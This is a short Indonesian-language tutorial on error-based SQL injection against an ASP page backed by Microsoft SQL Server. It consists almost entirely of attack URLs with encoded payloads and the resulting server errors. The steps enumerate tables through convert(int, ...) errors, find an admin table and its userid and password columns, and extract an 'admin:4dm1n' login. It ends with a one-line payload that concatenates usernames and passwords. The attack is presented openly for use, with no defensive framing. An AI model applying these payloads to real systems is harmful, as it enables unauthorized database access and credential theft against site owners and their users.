ASP MsSQL Injection secara ringkas

1. http://www.site.com/detail.asp?id=265'

error :
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' '.

/detail.asp, line 149

2. http://www.site.com/detail.asp?id=265%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables))--

and 1=convert(int,(select top 1 table_name from information_schema.tables))--

error :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 't_SubBab' to a column of data type int.

/detail.asp, line 149


3. and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('t_SubBab')))--

error :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'dtproperties' to a column of data type int.

/detail.asp, line 149

4. http://www.site.com/detail.asp?id=265%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in(%27t_SubBab%27,%27dtproperties%27)))--

5. http://www.site.com/detail.asp?id=265%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in(%27t_SubBab%27,%27dtproperties%27,%27sysconstraints%27,%27syssegments%27,%27systables%27%20)))--

error :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 't_Adm' to a column of data type int.

/detail.asp, line 149

6. http://www.site.com/detail.asp?id=265%20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=%27t_Adm%27%20))--

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='t_Adm' ))--

error :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'userid' to a column of data type int.

/detail.asp, line 149

7. http://www.site.com/detail.asp?id=265%20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=%27t_Adm%27%20and%20column_name%20not%20in(%27userid%27%20)))--

error :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'password' to a column of data type int.

/detail.asp, line 149

8. http://www.site.com/detail.asp?id=265%20and%201=convert(int,(select%20top%201%20userid%20%2b%27:%27%2b%20password%20from%20t_Adm))--

and 1=convert(int,(select top 1 userid from t_Adm))--

error :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin:4dm1n' to a column of data type int.

/detail.asp, line 149

untuk tengok skaligus :
and 1=convert(int,(select top 1 userid%2b':'%2bpassword from t_Adm))--